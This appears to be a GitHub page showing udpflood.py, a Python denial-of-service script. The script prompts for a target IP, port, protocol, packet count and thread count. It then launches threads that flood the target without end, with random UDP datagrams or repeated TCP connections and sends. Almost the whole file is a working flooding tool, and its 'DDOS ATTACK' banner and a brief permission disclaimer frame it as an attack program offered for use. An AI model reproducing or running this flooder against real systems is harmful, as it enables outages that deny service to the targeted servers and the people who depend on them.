-
Notifications
You must be signed in to change notification settings - Fork 19
/
udpflood.py
117 lines (103 loc) · 2.96 KB
/
udpflood.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
"""
UDP Flooder.
This is a 'Dos' attack program to attack servers, you set the IP always that you have permission to do it.
and the port and the amount of seconds and it will start flooding to that server.
Created by Xavi Fortes -> https://github.com/XaviFortes/Python-UDP-Flood
Usage : ./flood_udp
Press enter to continue and introduce the data.
"""
import signal
import time
import socket
import random
import threading
import sys
import os
from os import system, name
print("\033[1;34;40m \n")
os.system("figlet DDOS ATTACK -f slant")
print("\033[1;33;40m If you have any issue post a thread on https://github.com/XaviFortes/Python-UDP-Flood/issues\n")
print("\033[1;32;40m ==> Code by Karasu <== \n")
test = input()
if test == "n":
exit(0)
ip = str(input(" Host/Ip:"))
port = int(input(" Port:"))
choice = str(input(" UDP(y/n):"))
times = int(input(" Packets per one connection:"))
threads = int(input(" Threads:"))
def run():
data = random._urandom(1024)
i = random.choice(("[*]","[!]","[#]"))
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) #UDP = SOCK_DGRAM
addr = (str(ip),int(port))
for x in range(times):
s.sendto(data,addr)
print(i +"UDP Sent!!!")
except:
s.close()
print("[!] Error!!!")
def run2():
data = random._urandom(16)
i = random.choice(("[*]","[!]","[#]"))
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #TCP = SOCK_STREAM
s.connect((ip,port))
s.send(data)
for x in range(times):
s.send(data)
print(i +"TCP Sent!!!")
except:
s.close()
print("[*] Error")
for y in range(threads):
if choice == 'y':
th = threading.Thread(target = run)
th.start()
else:
th = threading.Thread(target = run2)
th.start()
def new():
for y in range(threads):
if choice == 'y':
th = threading.Thread(target = run)
th.start()
else:
th = threading.Thread(target = run2)
th.start()
def whereuwere():
print("Aww man, I'm so sorry, but I can't remember if u were in TCP or UDP")
print("Put 1 for UDP and 2 for TCP")
whereman = str(input(" 1 or 2 >:("))
if whereman == '1':
run()
else:
run2()
def clear():
if name == 'nt':
_ = system('cls')
else:
_ = system('clear')
def byebye():
clear()
os.system("figlet Youre Leaving Sir -f slant")
sys.exit(130)
def exit_gracefully(signum, frame):
# restore the original signal handler
signal.signal(signal.SIGINT, original_sigint)
try:
exitc = str(input(" You wanna exit bby <3 ?:"))
if exitc == 'y':
byebye()
except KeyboardInterrupt:
print("Ok ok")
byebye()
# restore the gracefully exit handler
signal.signal(signal.SIGINT, exit_gracefully)
if __name__ == '__main__':
# store SIGINT handler
original_sigint = signal.getsignal(signal.SIGINT)
signal.signal(signal.SIGINT, exit_gracefully)